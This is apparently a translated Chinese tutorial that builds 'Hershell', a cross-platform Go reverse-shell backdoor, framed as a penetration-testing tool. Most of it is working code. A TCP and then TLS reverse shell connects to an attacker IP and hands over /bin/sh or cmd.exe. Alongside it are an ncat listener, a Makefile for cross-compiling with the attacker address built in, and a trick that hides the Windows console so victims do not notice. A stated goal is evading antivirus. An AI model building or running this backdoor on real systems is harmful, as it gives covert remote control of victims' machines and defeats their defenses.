go語言可以做滲透測試。 Go在不需要任何外部相依性的情況下執行交叉編譯非常容易。由於標準函式庫,一個Go二進位檔案包含了在目標體系結構上執行的所有必需的程式碼;因此,Go語言應該可以輕鬆地從相同的原始程式碼中為多種平台建立二進位檔案。
本教學操作環境:windows7系統、GO 1.18版本、Dell G3電腦。
什麼是滲透測試
滲透測試,是一項在電腦系統上進行的授權模擬攻擊,旨在對其安全性進行評估,是為了證明網路防禦按照預期計畫正常運作而提供的機制。不妨假設,你的公司定期更新安全策略和程序,時時給系統打補丁,並採用了漏洞掃描器等工具,以確保所有補丁都已打上。
go語言可以做滲透測試
#下面透過實例來介紹:寫反彈後門Hershell
在滲透測試過程中,一個必備的工具是眾所周知的、超棒的Metasploit框架。
此環境包含大量的payload、編碼器和其他工具。在這些payload中Meterpreter有重要意義:它是一個經過開發和後開發命令的修改版的shell。由於其強大的攻擊特性,該shell可能是最常被使用的。
Meterpreter的問題
的不幸的是,Meterpreter的流行有一個缺點:大多數防毒和基於簽章的解決方案都能偵測到它。通常在滲透測試過程中,一個含有Meterpreter payload的二進位檔案會被偵測到,並被傳送進行隔離。
另一個問題可能是缺乏對特定目標體系結構的支持(例如,BSD),迫使我們發展自己的後門。
上述這些問題促使我們寫Hershell。這個專案的目標是提供一個基於單一的原始程式碼的reverse shell payload,它可以跨平台,並且不會被防毒軟體所發現。
我們使用Go語言開發,它是一種由Google開發的編譯語言。
為什麼要使用GO語言?
現今,Python可能是編寫腳本甚至完成應用程式最受歡迎的語言,尤其是在安全領域。那麼我們為什麼要學習一門新的語言呢?
Go比Python或其他語言具有一種優勢:在不需要任何外部依賴項的情況下執行交叉編譯非常容易。得益於標準函式庫,一個Go二進位檔案包含了在目標體系結構上執行的所有必要的程式碼。因此,Go語言應該可以輕鬆地從相同的原始程式碼中為多種平台建立二進位檔案。
目標
在建構這段程式碼時,我們想要實現以下目標:
payload类型是reverse shell; 得到一个跨多个平台(Windows、Linux、MacOS、ARM)和硬件架构的payload; 容易配置; 加密通信; 绕过大多数反病毒检测引擎。
環境準備
#從你最喜歡的發行版安裝Go包,或從官方網站下載。
一旦安裝完畢,我們需要設定環境。我們建立一個dev目錄,該目錄將是來源、函式庫和建置二進位檔案的根:
$ mkdir -p $HOME/dev/{src,bin,pkg} $ export GOPATH=$HOME/dev $ cd dev
該目錄遵循下面的計畫:
bin包含编译后的二进制文件和其他可执行文件; pkg包含Go下载包的对象文件; src包含你的应用程序和下载包的源目录。
我的第一個reverse shell
首先,使用Go語言建立一個簡單的TCP reverse shell。
這裡是一個完整的註解版本,而不是逐行註解程式碼。
// filename: tcp.go package main import ( "net" // requirement to establish a connection "os" // requirement to call os.Exit() "os/exec" // requirement to execute commands against the target system ) func main() { // Connecting back to the attacker // If it fails, we exit the program conn, err := net.Dial("tcp", "192.168.0.23:2233") if err != nil { os.Exit(1) } // Creating a /bin/sh process cmd := exec.Command("/bin/sh") // Connecting stdin and stdout // to the opened connection cmd.Stdin = conn cmd.Stdout = conn cmd.Stderr = conn // Run the process cmd.Run() }
首先,我們使用net.Dial建立一個到遠端伺服器的連線。 Go標準函式庫的net套件是基於TCP或UDP網路通訊的一個抽象層。
了解更多關於如何使用一個套件、文件(go doc)很有幫助:
$ go doc net package net // import "net" Package net provides a portable interface for network I/O, including TCP/IP, UDP, domain name resolution, and Unix domain sockets. Although the package provides access to low-level networking primitives, most clients will need only the basic interface provided by the Dial, Listen, and Accept functions and the associated Conn and Listener interfaces. The crypto/tls package uses the same interfaces and similar Dial and Listen functions. ...
讓我們回到腳本。
一旦建立了連接(如果失敗了,程式就停止了),我們將建立一個進程(類型為exec.Cmd的物件),這要歸功於exec.Command函數。所有輸入和輸出(stdout、stdin和stderr)都被重定向到連接,並啟動進程。
然後我們可以編行該檔案:
$ go build tcp.go $ ./tcp
現在,我們需要開啟偵聽器:
# Listening server (attacker) $ ncat -lvp 2233 Listening on [0.0.0.0] (family 0, port 2233) Connection from 192.168.0.20 38422 received! id uid=1000(lab) gid=100(users) groupes=100(users)
如预期的那样,我们得到了reverse shell。
到目前为止我们大多数的目标尚未实现。
配置
我们现在有一些reverse shell基本代码。但是在每次编译之后我们必须修改,以便定义攻击者的监听端口和IP地址。
这种操作虽然不是很便利。但这里可以引入一个简单的小技巧:在连接时(在编译之前)进行变量定义。
事实上,在构建过程中,可以定义一些变量的值(使用go build命令)。
这是使用前面代码的一个简短的例子:
// filename: tcp.go package main import ( "net" "os" "os/exec" ) // variable to be defined at compiling time var connectString string func main() { if len(connectString) == 0 { os.Exit(1) } conn, err := net.Dial("tcp", connectString) if err != nil { os.Exit(1) } cmd := exec.Command("/bin/sh") cmd.Stdin = conn cmd.Stdout = conn cmd.Stderr = conn cmd.Run() }
我们只添加下面一行代码,进行一个安全测试以检查它是否包含一个值:
var connectString string
其代码编译如下:
$ go build --ldflags "-X main.connectString=192.168.0.23:2233" tcp.go
当我们构建二进制文件时,攻击者的IP地址和端口可以被动态定义。
注意,可以以package.nomVariable的模式访问这些变量,并且这些变量只能是string类型。
为了简化编译,我们可以创建一个Makefile:
# Makefile SOURCE=tcp.go BUILD=go build OUTPUT=reverse_shell LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT}" all: ${BUILD} ${LDFLAGS} -o ${OUTPUT} ${SOURCE} clean: rm -f ${OUTPUT}
本文的其余部分,我们将使用LHOST和LPORT环境变量来定义设置:
$ make LHOST=192.168.0.23 LPORT=2233 go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp.go
跨平台
既然可以很容易地配置 payload,也可以跨平台使用它。
如前所述,payload的强项之一是从同一个代码库使用Go语言为各种架构和平台进行构建。
准确地说, runtime提供了GOOS和GOARCH变量。
让我们看看如何使用GOOS:
// filename: tcp_multi.go package main import ( "net" "os" "os/exec" "runtime" // requirement to access to GOOS ) var connectString string func main() { var cmd *exec.Cmd if len(connectString) == 0 { os.Exit(1) } conn, err := net.Dial("tcp", connectString) if err != nil { os.Exit(1) } switch runtime.GOOS { case "windows": cmd = exec.Command("cmd.exe") case "linux": cmd = exec.Command("/bin/sh") case "freebsd": cmd = exec.Command("/bin/csh") default: cmd = exec.Command("/bin/sh") } cmd.Stdin = conn cmd.Stdout = conn cmd.Stderr = conn cmd.Run() }
很显然,我们添加了一个switch模块来处理GOOS不同的值。因此,我们只是检查几个操作系统的值,并且改变每个目标进程。
上面的代码可以进一步简化,实际上除了Windows,大多数操作系统上都有/bin/sh:
switch runtime.GOOS { case "windows": // Windows specific branch cmd = exec.Command("cmd.exe") default: // any other OS cmd = exec.Command("/bin/sh") }
现在,使用GOARCH处理交叉编译架构非常简单:
$ make GOOS=windows GOARCH=amd64 LHOST=192.168.0.23 LPORT=2233 go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp_multi.go $ file reverse_shell reverse_shell: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
网络加密
现在,让我们看看如何加密网络流量。
有几种选择:
用一个自制的方法,在应用程序层建立加密 使用一种被广泛使用并且在会话层测试协议的方法,即TLS。
鉴于我们都倾向于简单和安全,我们选择了很容易用Go语言实现的TLS。标准库已经支持一切支持TLS的东西。
在客户端,一个新的&tls.Config类型对象需要配置连接,比如证书锁定(certificate pinning)。
这是新的代码库,进行了轻微的优化和TLS处理:
import ( "crypto/tls" "runtime" "os" "os/exec" "net" ) var connectString string func GetShell(conn net.Conn) { var cmd *exec.Cmd switch runtime.GOOS { case "windows": cmd = exec.Command("cmd.exe") default: cmd = exec.Command("/bin/sh") } cmd.Stdout = conn cmd.Stderr = conn cmd.Stdin = conn cmd.Run() } func Reverse(connectString string) { var ( conn *tls.Conn err error ) // Creation of the tls.Config object // Accepting *any* server certificate config := &tls.Config{InsecureSkipVerify: true} if conn, err = tls.Dial("tcp", connectString, config); err != nil { os.Exit(-1) } defer conn.Close() // Starting the shell GetShell(conn) } func main() { if len(connectString) == 0 { os.Exit(1) } Reverse(connectString) }
如示例所示,创建一个TLS套接字(socket)非常类似于创建一个简单的TCP socket。不同于tls.Config,tls.Conn对象与net.Conn以相同的方式被使用。
条件编译
如上图所示,可以改变取决于目标操作系统的程序执行。
然而,如果你想使用这段代码,你会注意到一个问题。cmd.exe窗口会出现,并且无法隐藏,从而会提醒受害者。
幸运的是,exec.Cmd对象的SysProcAttr可以改变这种情况,如本文所述:
$ go doc exec.Cmd ... // SysProcAttr holds optional, operating system-specific attributes. // Run passes it to os.StartProcess as the os.ProcAttr's Sys field. SysProcAttr *syscall.SysProcAttr ... 在Linux下,关于syscall.SysProcAttr模块文件,我们得到以下信息: $ go doc syscall.SysProcAttr type SysProcAttr struct { Chroot string // Chroot. Credential *Credential // Credential. Ptrace bool // Enable tracing. Setsid bool // Create session. Setpgid bool // Set process group ID to Pgid, or, if Pgid == 0, to new pid. Setctty bool // Set controlling terminal to fd Ctty (only meaningful if Setsid is set) Noctty bool // Detach fd 0 from controlling terminal Ctty int // Controlling TTY fd Foreground bool // Place child's process group in foreground. (Implies Setpgid. Uses Ctty as fd of controlling TTY) Pgid int // Child's process group ID if Setpgid. Pdeathsig Signal // Signal that the process will get when its parent dies (Linux only) Cloneflags uintptr // Flags for clone calls (Linux only) Unshareflags uintptr // Flags for unshare calls (Linux only) UidMappings []SysProcIDMap // User ID mappings for user namespaces. GidMappings []SysProcIDMap // Group ID mappings for user namespaces. // GidMappingsEnableSetgroups enabling setgroups syscall. // If false, then setgroups syscall will be disabled for the child process. // This parameter is no-op if GidMappings == nil. Otherwise for unprivileged // users this should be set to false for mappings work. GidMappingsEnableSetgroups bool }
然而,在syscall package(包)的源代码中,我们观察到每一个构建都有一个特定的实现。
此外,在Windows的exec子方式中,我们注意到SysProcAttr结构有不同的定义。它有一个HidWindow属性(布尔类型),当启动一个程序时这一属性允许隐藏启动窗口。
该属性也正是我们的后门需要的。
我们可能会被这一实现所吸引:
... switch runtime.GOOS { case "windows": cmd := exec.Cmd("cmd.exe") cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} default: cmd := exec.Cmd("/bin/sh") } ...
然而,由于HideWindow属性在syscall/exec_linux.go中不存在,因此这种编译在除了Windows之外的任何其他平台可能会失败。
因此,我们需要调整我们的项目的结构,使用条件编译。条件编译指的是一种特性,允许添加源代码文件顶部编译器的命令。例如,如果我们想要编译一个只适用于Windows操作系统的源文件,我们将添加该命令:
// +build windows !linux !darwin !freebsd import net ...
当GOOS变量设置为darwin、 linux 或者freebsd时,该命令将指示编译器不包括该文件。当然,当值与windows匹配时,编译器将包含该源文件。
为了在我们的项目中实现该条件编译,我们将遵循这个结构:
$ tree ├── hershell.go ├── Makefile ├── README.md └── shell ├── shell_default.go └── shell_windows.go
hershell.go包含程序的核心部分。然后,我们创建一个名为shell的模块,该模块有两个文件:适用于Linux和Unix的shell_default.go文件;以及适用于Windows的shell_windows.go文件。
证书锁定
使用TLS安全通信是件好事,但只要我们不对服务器进行身份验证,流量仍然可以被“中间人”劫持。
为了预防这种攻击,我们将验证服务器提供的证书,这就叫做“证书锁定(certificate pinning)”。
以下函数负责证书锁定(certificate pinning):
func CheckKeyPin(conn *tls.Conn, fingerprint []byte) (bool, error) { valid := false connState := conn.ConnectionState() for _, peerCert := range connState.PeerCertificates { hash := sha256.Sum256(peerCert.Raw) if bytes.Compare(hash[0:], fingerprint) == 0 { valid = true } } return valid, nil }
这个函数接受一个tls.Conn对象的指针作为参数,并且包含SHA256格式的指纹证书的一个字节数组。在连接过程中,该代码扫描所有tls.Conn中的PeerCertificates,直到发现与提供的相匹配的指纹为止。
如果碰巧没有证书匹配,函数返回false。
当需要建立与远程服务器的连接时,我们只需要调用该函数;如果提交的证书是无效的则会关闭连接:
func Reverse(connectString string, fingerprint []byte) { var ( conn *tls.Conn err error ) config := &tls.Config{InsecureSkipVerify: true} if conn, err = tls.Dial("tcp", connectString, config); err != nil { os.Exit(ERR_HOST_UNREACHABLE) } defer conn.Close() // checking the certificate fingerprint if ok, err := CheckKeyPin(conn, fingerprint); err != nil || !ok { os.Exit(ERR_BAD_FINGERPRINT) } RunShell(conn) }
最初,由于–ldflags,在编译(在Makefile中)过程中可以生成有效的指纹: